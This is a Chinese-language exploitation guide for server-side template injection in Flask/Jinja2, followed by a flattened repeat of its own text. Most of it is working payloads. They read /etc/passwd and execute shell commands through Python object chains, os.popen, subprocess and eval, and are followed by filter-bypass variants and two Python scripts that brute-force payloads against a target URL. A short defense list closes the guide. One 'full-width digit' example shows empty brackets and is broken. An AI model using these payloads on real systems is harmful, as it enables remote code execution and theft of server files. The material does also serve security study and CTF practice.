关于SSTI注入的二三事
字数 1137 2025-08-29 08:32:01

SSTI(服务端模板注入)深入分析与利用指南

1. SSTI基础概念

1.1 什么是SSTI

SSTI(Server-Side Template Injection)即服务端模板注入,是由于接受用户输入而造成的安全问题,与SQL注入有相似性。其本质在于服务器端接受了用户的输入,未经充分过滤就将用户输入作为Web应用模板的一部分,在编译渲染过程中执行了恶意代码。

1.2 模板与模板引擎

模板是一段包含可动态替换部分的文本,如print("hello{username}")。模板引擎的作用是将业务数据填充到模板中,生成特定文档(如HTML)。

2. Flask-Jinja2 SSTI利用

2.1 关键魔术方法

  1. __class__:查看变量所属的类

    >>> ''.__class__
    <type 'str'>
    
  2. __bases__:查看类的基类

    >>> ().__class__.__bases__
    (<type 'object'>,)
    
  3. __mro__:获取类的调用顺序

    >>> ''.__class__.__mro__
    (<class 'str'>, <class 'object'>)
    
  4. __subclasses__():查看当前类的子类列表

    >>> ''.__class__.__bases__[0].__subclasses__()
    [<class 'type'>, <class 'weakref'>, ...]
    
  5. __globals__:返回函数全局变量的字典引用

    func.__globals__
    
  6. __builtins__:查看所有内建函数

    __builtins__.eval
    

2.2 利用链构建

基本思路:

  1. 找到父类<type 'object'>
  2. 寻找子类
  3. 查找命令执行或文件操作模块

示例:

# 获取object类
''.__class__.__mro__[-1]  # 或 ''.__class__.__base__

# 获取所有子类
''.__class__.__mro__[-1].__subclasses__()

# 查找可利用的子类
''.__class__.__mro__[-1].__subclasses__()[40]  # 如file类

3. 文件读取与命令执行

3.1 Python2环境

文件读取

[].__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()

命令执行

# 使用os模块
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

# 使用subprocess
''.__class__.__mro__[2].__subclasses__()[258]('ls', shell=True, stdout=-1).communicate()[0]

3.2 Python3环境

文件读取

().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

命令执行

# 使用eval
().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

# 使用循环查找catch_warnings
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
{% endif %}
{% endfor %}

4. 绕过技术

4.1 关键字绕过

  1. 拼接绕过

    'o'+'s'  # 代替'os'
    
  2. 编码绕过

    • Base64:
      'b3M='.decode('base64')  # 'os'
      
    • Unicode:
      '\u006f\u0073'  # 'os'
      
    • Hex:
      '\x6f\x73'  # 'os'
      
  3. 引号绕过

    fl""ag  # 代替flag
    
  4. join()函数

    "fla".join("/g")  # "/flag"
    

4.2 特殊字符绕过

  1. 中括号[]

    __getitem__(0)  # 代替[0]
    
  2. 下划线_

    request.args  # 通过请求参数传递
    
  3. .

    |attr("__class__")  # 代替.__class__
    
  4. 大括号{{

    {% if ... %}...{% endif %}
    

4.3 综合绕过示例

过滤了.[]_

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

过滤引号

# 使用request.values
{{lipsum.__globals__.os.popen(request.values.cmd).read()}}&cmd=ls

过滤数字

# 使用全角数字
().__class__.__bases__[].__subclasses__()[132]

5. 实用脚本

5.1 查找子类索引

import requests

for i in range(500):
    url = f"http://target/?name={{''.__class__.__bases__[0].__subclasses__()[{i}]}}"
    res = requests.get(url)
    if 'FileLoader' in res.text:
        print(i)

5.2 字符构造脚本

import requests

url = "http://target/?name={{config.__str__().__getitem__(%d)}}"
payload = "cat /flag"
result = ""

for j in payload:
    for i in range(0,1000):
        r = requests.get(url % i)
        location = r.text.find("<h3>")
        word = r.text[location+4:location+5]
        if word == j:
            result += f"config.__str__().__getitem__({i})~"
            break

print(result[:-1])

6. 常见利用类

  1. 文件操作类

    • Python2: <type 'file'> (通常索引40)
    • Python3: _frozen_importlib_external.FileLoader
  2. 命令执行类

    • warnings.catch_warnings
    • subprocess.Popen
    • os._wrap_close
  3. 内置函数类

    • __builtins__.eval
    • __builtins__.open

7. Flask特殊对象

  1. url_for

    url_for.__globals__['__builtins__']
    
  2. config

    config.__class__.__init__.__globals__['os']
    
  3. lipsum

    lipsum.__globals__.os.popen('ls').read()
    
  4. request

    request.args.x1  # GET参数
    request.values.x1  # 所有参数
    request.cookies  # Cookie参数
    

8. 防御建议

  1. 避免直接将用户输入作为模板
  2. 使用安全的模板渲染方式
  3. 对用户输入进行严格过滤
  4. 禁用危险的Python内置函数
  5. 使用沙箱环境执行模板

通过深入理解这些技术点,可以有效地识别和利用SSTI漏洞,同时也能够更好地防御此类攻击。

SSTI(服务端模板注入)深入分析与利用指南 1. SSTI基础概念 1.1 什么是SSTI SSTI(Server-Side Template Injection)即服务端模板注入,是由于接受用户输入而造成的安全问题,与SQL注入有相似性。其本质在于服务器端接受了用户的输入,未经充分过滤就将用户输入作为Web应用模板的一部分,在编译渲染过程中执行了恶意代码。 1.2 模板与模板引擎 模板是一段包含可动态替换部分的文本,如 print("hello{username}") 。模板引擎的作用是将业务数据填充到模板中,生成特定文档(如HTML)。 2. Flask-Jinja2 SSTI利用 2.1 关键魔术方法 __class__ :查看变量所属的类 __bases__ :查看类的基类 __mro__ :获取类的调用顺序 __subclasses__() :查看当前类的子类列表 __globals__ :返回函数全局变量的字典引用 __builtins__ :查看所有内建函数 2.2 利用链构建 基本思路: 找到父类 <type 'object'> 寻找子类 查找命令执行或文件操作模块 示例: 3. 文件读取与命令执行 3.1 Python2环境 文件读取 : 命令执行 : 3.2 Python3环境 文件读取 : 命令执行 : 4. 绕过技术 4.1 关键字绕过 拼接绕过 : 编码绕过 : Base64: Unicode: Hex: 引号绕过 : join() 函数 : 4.2 特殊字符绕过 中括号 [] : 下划线 _ : 点 . : 大括号 {{ : 4.3 综合绕过示例 过滤了 . 、 [] 、 _ : 过滤引号 : 过滤数字 : 5. 实用脚本 5.1 查找子类索引 5.2 字符构造脚本 6. 常见利用类 文件操作类 : Python2: <type 'file'> (通常索引40) Python3: _frozen_importlib_external.FileLoader 命令执行类 : warnings.catch_warnings subprocess.Popen os._wrap_close 内置函数类 : __builtins__.eval __builtins__.open 7. Flask特殊对象 url_for : config : lipsum : request : 8. 防御建议 避免直接将用户输入作为模板 使用安全的模板渲染方式 对用户输入进行严格过滤 禁用危险的Python内置函数 使用沙箱环境执行模板 通过深入理解这些技术点,可以有效地识别和利用SSTI漏洞,同时也能够更好地防御此类攻击。